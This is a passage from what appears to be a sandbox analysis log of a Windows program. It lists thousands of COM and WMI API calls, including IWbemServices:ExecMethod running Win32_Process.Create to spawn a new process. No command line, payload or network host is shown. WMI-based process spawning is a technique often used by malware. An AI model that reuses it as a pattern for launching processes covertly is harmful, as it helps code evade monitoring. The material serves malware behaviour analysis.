ppvObject=0x1b2fc9c0 | out: ppvObject=0x1b2fc9c0*=0x0) returned 0x80004002 [0056.918] IUnknown:QueryInterface (in: This=0x11b8f10, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc9b0 | out: ppvObject=0x1b2fc9b0*=0x11b8f18) returned 0x0 [0056.918] IMarshal:GetUnmarshalClass (in: This=0x11b8f18, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc9d8 | out: pCid=0x1b2fc9d8*(Data1=0x4590f812, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24))) returned 0x0 [0056.918] IUnknown:Release (This=0x11b8f18) returned 0x3 [0056.918] CoGetContextToken (in: pToken=0x1b2fca60 | out: pToken=0x1b2fca60) returned 0x0 [0056.919] CoGetContextToken (in: pToken=0x1b2fcee0 | out: pToken=0x1b2fcee0) returned 0x0 [0056.919] IUnknown:QueryInterface (in: This=0x11b8f10, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcfa0 | out: ppvObject=0x1b2fcfa0*=0x0) returned 0x80004002 [0056.919] IUnknown:Release (This=0x11b8f10) returned 0x2 [0056.919] CoGetContextToken (in: pToken=0x1b2fce30 | out: pToken=0x1b2fce30) returned 0x0 [0056.919] CoGetContextToken (in: pToken=0x1b2fcd30 | out: pToken=0x1b2fcd30) returned 0x0 [0056.919] IUnknown:QueryInterface (in: This=0x11b8f10, riid=0x1b2fce90*(Data1=0x805e3b62, Data2=0xb5e9, Data3=0x393d, Data4=([0]=0x89, [1]=0x41, [2]=0x37, [3]=0x7d, [4]=0x8b, [5]=0xf4, [6]=0x55, [7]=0x6b)), ppvObject=0x1b2fce60 | out: ppvObject=0x1b2fce60*=0x0) returned 0x80004002 [0056.921] CoGetContextToken (in: pToken=0x1b2fcfc0 | out: pToken=0x1b2fcfc0) returned 0x0 [0056.921] IUnknown:QueryInterface (in: This=0x11b8f10, riid=0x7fef1d2d4b0*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd090 | out: ppvObject=0x1b2fd090*=0x0) returned 0x80004002 [0056.921] CoGetContextToken (in: pToken=0x1b2fd050 | out: pToken=0x1b2fd050) returned 0x0 [0056.921] IUnknown:AddRef (This=0x11b8f10) returned 0x3 [0056.921] IWbemClassObject:Put (This=0x11c5440, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1b2fd970*(varType=0xd, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x11b8f10, varVal2=0x0), Type=0) returned 0x0 [0056.931] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1169500, puCount=0x1b2fda10 | out: puCount=0x1b2fda10*=0x2) returned 0x0 [0056.931] WbemDefPath:IWbemPath:GetText (in: This=0x1169500, lFlags=4, puBuffLength=0x1b2fda08*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fda08*=0x26, pszText=0x0) returned 0x0 [0056.931] WbemDefPath:IWbemPath:GetText (in: This=0x1169500, lFlags=4, puBuffLength=0x1b2fda08*=0x26, pszText="0000000000000000000000000000000000000" | out: puBuffLength=0x1b2fda08*=0x26, pszText="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0056.931] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1169440, puCount=0x1b2fd950 | out: puCount=0x1b2fd950*=0x2) returned 0x0 [0056.932] WbemDefPath:IWbemPath:GetText (in: This=0x1169440, lFlags=4, puBuffLength=0x1b2fd948*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd948*=0xf, pszText=0x0) returned 0x0 [0056.932] WbemDefPath:IWbemPath:GetText (in: This=0x1169440, lFlags=4, puBuffLength=0x1b2fd948*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd948*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0056.932] WbemDefPath:IWbemPath:GetText (in: This=0x1169500, lFlags=2, puBuffLength=0x1b2fda18*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fda18*=0xe, pszText=0x0) returned 0x0 [0056.932] WbemDefPath:IWbemPath:GetText (in: This=0x1169500, lFlags=2, puBuffLength=0x1b2fda18*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b2fda18*=0xe, pszText="Win32_Process") returned 0x0 [0056.933] IWbemServices:ExecMethod (in: This=0x1130ee0, strObjectPath="Win32_Process", strMethodName="Create", lFlags=0, pCtx=0x0, pInParams=0x11c5440, ppOutParams=0x1b2fd820*=0x0, ppCallResult=0x0 | out: ppOutParams=0x1b2fd820*=0x11c6f40, ppCallResult=0x0) returned 0x0 [0057.106] IWbemClassObject:Get (in: This=0x11c6f40, wszName="ProcessId", lFlags=0, pVal=0x1b2fd978*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x29c9928*=0, plFlavor=0x29c992c*=0 | out: pVal=0x1b2fd978*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xec4, varVal2=0x0), pType=0x29c9928*=19, plFlavor=0x29c992c*=0) returned 0x0 [0057.112] IWbemClassObject:Get (in: This=0x11c6f40, wszName="ProcessId", lFlags=0, pVal=0x1b2fd988*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x29c9928*=19, plFlavor=0x29c992c*=0 | out: pVal=0x1b2fd988*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xec4, varVal2=0x0), pType=0x29c9928*=19, plFlavor=0x29c992c*=0) returned 0x0 [0057.131] CoGetObjectContext (in: riid=0x29be838*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fda18 | out: ppv=0x1b2fda18*=0x111f638) returned 0x0 [0057.131] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fda08 | out: pAptType=0x1b2fda08*=1) returned 0x0 [0057.131] IUnknown:QueryInterface (in: This=0x111f638, riid=0x29be818*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fda10 | out: ppvObject=0x1b2fda10*=0x0) returned 0x80004002 [0057.131] IUnknown:Release (This=0x111f638) returned 0x1 [0057.133] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fce30 | out: ppv=0x1b2fce30*=0x11becf0) returned 0x0 [0057.133] WbemDefPath:IUnknown:QueryInterface (in: This=0x11becf0, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fce78 | out: ppvObject=0x1b2fce78*=0x0) returned 0x80004002 [0057.134] WbemDefPath:IClassFactory:CreateInstance (in: This=0x11becf0, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fce28 | out: ppvObject=0x1b2fce28*=0x1169980) returned 0x0 [0057.134] WbemDefPath:IUnknown:Release (This=0x11becf0) returned 0x0 [0057.134] WbemDefPath:IUnknown:QueryInterface (in: This=0x1169980, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcc38 | out: ppvObject=0x1b2fcc38*=0x1169980) returned 0x0 [0057.134] WbemDefPath:IUnknown:QueryInterface (in: This=0x1169980, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcce0 | out: ppvObject=0x1b2fcce0*=0x0) returned 0x80004002 [0057.134] WbemDefPath:IUnknown:AddRef (This=0x1169980) returned 0x3 [0057.134] WbemDefPath:IUnknown:QueryInterface (in: This=0x1169980, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc388 | out: ppvObject=0x1b2fc388*=0x0) returned 0x80004002 [0057.134] WbemDefPath:IUnknown:QueryInterface (in: This=0x1169980, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc310 | out: ppvObject=0x1b2fc310*=0x0) returned 0x80004002 [0057.134] WbemDefPath:IUnknown:QueryInterface (in: This=0x1169980, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc300 | out: ppvObject=0x1b2fc300*=0x11bed30) returned 0x0 [0057.134] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x11bed30, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc328 | out: pCid=0x1b2fc328*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0057.134] WbemDefPath:IUnknown:Release (This=0x11bed30) returned 0x3 [0057.134] CoGetContextToken (in: pToken=0x1b2fc3b0 | out: pToken=0x1b2fc3b0) returned 0x0 [0057.134] CoGetContextToken (in: pToken=0x1b2fc830 | out: pToken=0x1b2fc830) returned 0x0 [0057.134] WbemDefPath:IUnknown:QueryInterface (in: This=0x1169980, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc8f0 | out: ppvObject=0x1b2fc8f0*=0x0) returned 0x80004002 [0057.134] WbemDefPath:IUnknown:Release (This=0x1169980) returned 0x2 [0057.134] WbemDefPath:IUnknown:Release (This=0x1169980) returned 0x1 [0057.135] CoGetContextToken (in: pToken=0x1b2fd650 | out: pToken=0x1b2fd650) returned 0x0 [0057.135] CoGetContextToken (in: pToken=0x1b2fd550 | out: pToken=0x1b2fd550) returned 0x0 [0057.135] WbemDefPath:IUnknown:QueryInterface (in: This=0x1169980, riid=0x1b2fd6b0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd680 | out: ppvObject=0x1b2fd680*=0x1169980) returned 0x0 [0057.135] WbemDefPath:IUnknown:AddRef (This=0x1169980) returned 0x3 [0057.135] WbemDefPath:IUnknown:Release (This=0x1169980) returned 0x2 [0057.135] WbemDefPath:IWbemPath:SetText (This=0x1169980, uMode=0x4, pszPath="Win32_Process") returned 0x0 [0057.135] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1169980, puCount=0x1b2fda60 | out: puCount=0x1b2fda60*=0x0) returned 0x0 [0057.135] WbemDefPath:IWbemPath:GetText (in: This=0x1169980, lFlags=2, puBuffLength=0x1b2fda58*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fda58*=0xe, pszText=0x0) returned 0x0 [0057.135] WbemDefPath:IWbemPath:GetText (in: This=0x1169980, lFlags=2, puBuffLength=0x1b2fda58*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b2fda58*=0xe, pszText="Win32_Process") returned 0x0 [0057.135] WbemDefPath:IWbemPath:GetInfo (in: This=0x1169980, uRequestedInfo=0x0, puResponse=0x1b2fda78 | out: puResponse=0x1b2fda78*=0xc15) returned 0x0 [0057.135] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1169980, puCount=0x1b2fda60 | out: puCount=0x1b2fda60*=0x0) returned 0x0 [0057.135] WbemDefPath:IWbemPath:GetInfo (in: This=0x1169980, uRequestedInfo=0x0, puResponse=0x1b2fda78 | out: puResponse=0x1b2fda78*=0xc15) returned 0x0 [0057.135] CoGetObjectContext (in: riid=0x29be838*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fda18 | out: ppv=0x1b2fda18*=0x111f638) returned 0x0 [0057.136] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fda08 | out: pAptType=0x1b2fda08*=1) returned 0x0 [0057.136] IUnknown:QueryInterface (in: This=0x111f638, riid=0x29be818*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fda10 | out: ppvObject=0x1b2fda10*=0x0) returned 0x80004002 [0057.136] IUnknown:Release (This=0x111f638) returned 0x1 [0057.137] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fce30 | out: ppv=0x1b2fce30*=0x11bed70) returned 0x0 [0057.138] WbemDefPath:IUnknown:QueryInterface (in: This=0x11bed70, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fce78 | out: ppvObject=0x1b2fce78*=0x0) returned 0x80004002 [0057.138] WbemDefPath:IClassFactory:CreateInstance (in: This=0x11bed70, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fce28 | out: ppvObject=0x1b2fce28*=0x1169a40) returned 0x0 [0057.138] WbemDefPath:IUnknown:Release (This=0x11bed70) returned 0x0 [0057.138] WbemDefPath:IUnknown:QueryInterface (in: This=0x1169a40, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcc38 | out: ppvObject=0x1b2fcc38*=0x1169a40) returned 0x0 [0057.138] WbemDefPath:IUnknown:QueryInterface (in: This=0x1169a40, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcce0 | out: ppvObject=0x1b2fcce0*=0x0) returned 0x80004002 [0057.138] WbemDefPath:IUnknown:AddRef (This=0x1169a40) returned 0x3 [0057.138] WbemDefPath:IUnknown:QueryInterface (in: This=0x1169a40, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc388 | out: ppvObject=0x1b2fc388*=0x0) returned 0x80004002 [0057.138] WbemDefPath:IUnknown:QueryInterface (in: This=0x1169a40, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc310 | out: ppvObject=0x1b2fc310*=0x0) returned 0x80004002 [0057.138] WbemDefPath:IUnknown:QueryInterface (in: This=0x1169a40, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc300 | out: ppvObject=0x1b2fc300*=0x11bedb0) returned 0x0 [0057.138] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x11bedb0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc328 | out: pCid=0x1b2fc328*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0057.138] WbemDefPath:IUnknown:Release (This=0x11bedb0) returned 0x3 [0057.138] CoGetContextToken (in: pToken=0x1b2fc3b0 | out: pToken=0x1b2fc3b0) returned 0x0 [0057.138] CoGetContextToken (in: pToken=0x1b2fc830 | out: pToken=0x1b2fc830) returned 0x0 [0057.138] WbemDefPath:IUnknown:QueryInterface (in: This=0x1169a40, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc8f0 | out: ppvObject=0x1b2fc8f0*=0x0) returned 0x80004002 [0057.139] WbemDefPath:IUnknown:Release (This=0x1169a40) returned 0x2 [0057.139] WbemDefPath:IUnknown:Release (This=0x1169a40) returned 0x1 [0057.139] CoGetContextToken (in: pToken=0x1b2fd650 | out: pToken=0x1b2fd650) returned 0x0 [0057.139] CoGetContextToken (in: pToken=0x1b2fd550 | out: pToken=0x1b2fd550) returned 0x0 [0057.139] WbemDefPath:IUnknown:QueryInterface (in: This=0x1169a40, riid=0x1b2fd6b0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd680 | out: ppvObject=0x1b2fd680*=0x1169a40) returned 0x0 [0057.139] WbemDefPath:IUnknown:AddRef (This=0x1169a40) returned 0x3 [0057.139] WbemDefPath:IUnknown:Release (This=0x1169a40) returned 0x2 [0057.139] WbemDefPath:IWbemPath:SetText (This=0x1169a40, uMode=0x4, pszPath="Win32_ProcessStartup") returned 0x0 [0057.139] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1169a40, puCount=0x1b2fda60 | out: puCount=0x1b2fda60*=0x0) returned 0x0 [0057.139] WbemDefPath:IWbemPath:GetText (in: This=0x1169a40, lFlags=2, puBuffLength=0x1b2fda58*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fda58*=0x15, pszText=0x0) returned 0x0 [0057.139] WbemDefPath:IWbemPath:GetText (in: This=0x1169a40, lFlags=2, puBuffLength=0x1b2fda58*=0x15, pszText="00000000000000000000" | out: puBuffLength=0x1b2fda58*=0x15, pszText="Win32_ProcessStartup") returned 0x0 [0057.139] WbemDefPath:IWbemPath:GetInfo (in: This=0x1169a40, uRequestedInfo=0x0, puResponse=0x1b2fda78 | out: puResponse=0x1b2fda78*=0xc15) returned 0x0 [0057.139] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1169a40, puCount=0x1b2fda60 | out: puCount=0x1b2fda60*=0x0) returned 0x0 [0057.139] WbemDefPath:IWbemPath:GetInfo (in: This=0x1169a40, uRequestedInfo=0x0, puResponse=0x1b2fda78 | out: puResponse=0x1b2fda78*=0xc15) returned 0x0 [0057.139] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1169a40, puCount=0x1b2fd9c0 | out: puCount=0x1b2fd9c0*=0x0) returned 0x0 [0057.139] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1169200, puCount=0x1b2fd980 | out: puCount=0x1b2fd980*=0x2) returned 0x0 [0057.139] WbemDefPath:IWbemPath:GetText (in: This=0x1169200, lFlags=4, puBuffLength=0x1b2fd978*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd978*=0xf, pszText=0x0) returned 0x0 [0057.139] WbemDefPath:IWbemPath:GetText (in: This=0x1169200, lFlags=4, puBuffLength=0x1b2fd978*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd978*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0057.139] CoGetObjectContext (in: riid=0x29be838*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd8d8 | out: ppv=0x1b2fd8d8*=0x111f638) returned 0x0 [0057.139] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd8c8 | out: pAptType=0x1b2fd8c8*=1) returned 0x0 [0057.139] IUnknown:QueryInterface (in: This=0x111f638, riid=0x29be818*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd8d0 | out: ppvObject=0x1b2fd8d0*=0x0) returned 0x80004002 [0057.139] IUnknown:Release (This=0x111f638) returned 0x1 [0057.141] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fccf0 | out: ppv=0x1b2fccf0*=0x11bedf0) returned 0x0 [0057.141] WbemDefPath:IUnknown:QueryInterface (in: This=0x11bedf0, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcd38 | out: ppvObject=0x1b2fcd38*=0x0) returned 0x80004002 [0057.141] WbemDefPath:IClassFactory:CreateInstance (in: This=0x11bedf0, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcce8 | out: ppvObject=0x1b2fcce8*=0x1169b00) returned 0x0 [0057.141] WbemDefPath:IUnknown:Release (This=0x11bedf0) returned 0x0 [0057.141] WbemDefPath:IUnknown:QueryInterface (in: This=0x1169b00, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcaf8 | out: ppvObject=0x1b2fcaf8*=0x1169b00) returned 0x0 [0057.142] WbemDefPath:IUnknown:QueryInterface (in: This=0x1169b00, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcba0 | out: ppvObject=0x1b2fcba0*=0x0) returned 0x80004002 [0057.142] WbemDefPath:IUnknown:AddRef (This=0x1169b00) returned 0x3 [0057.142] WbemDefPath:IUnknown:QueryInterface (in: This=0x1169b00, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc248 | out: ppvObject=0x1b2fc248*=0x0) returned 0x80004002 [0057.142] WbemDefPath:IUnknown:QueryInterface (in: This=0x1169b00, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc1d0 | out: ppvObject=0x1b2fc1d0*=0x0) returned 0x80004002 [0057.142] WbemDefPath:IUnknown:QueryInterface (in: This=0x1169b00, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc1c0 | out: ppvObject=0x1b2fc1c0*=0x11bee30) returned 0x0 [0057.142] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x11bee30, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc1e8 | out: pCid=0x1b2fc1e8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0057.142] WbemDefPath:IUnknown:Release (This=0x11bee30) returned 0x3 [0057.142] CoGetContextToken (in: pToken=0x1b2fc270 | out: pToken=0x1b2fc270) returned 0x0 [0057.142] CoGetContextToken (in: pToken=0x1b2fc6f0 | out: pToken=0x1b2fc6f0) returned 0x0 [0057.142] WbemDefPath:IUnknown:QueryInterface (in: This=0x1169b00, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc7b0 | out: ppvObject=0x1b2fc7b0*=0x0) returned 0x80004002 [0057.143] WbemDefPath:IUnknown:Release (This=0x1169b00) returned 0x2 [0057.143] WbemDefPath:IUnknown:Release (This=0x1169b00) returned 0x1 [0057.143] CoGetContextToken (in: pToken=0x1b2fd510 | out: pToken=0x1b2fd510) returned 0x0 [0057.143] CoGetContextToken (in: pToken=0x1b2fd410 | out: pToken=0x1b2fd410) returned 0x0 [0057.143] WbemDefPath:IUnknown:QueryInterface (in: This=0x1169b00, 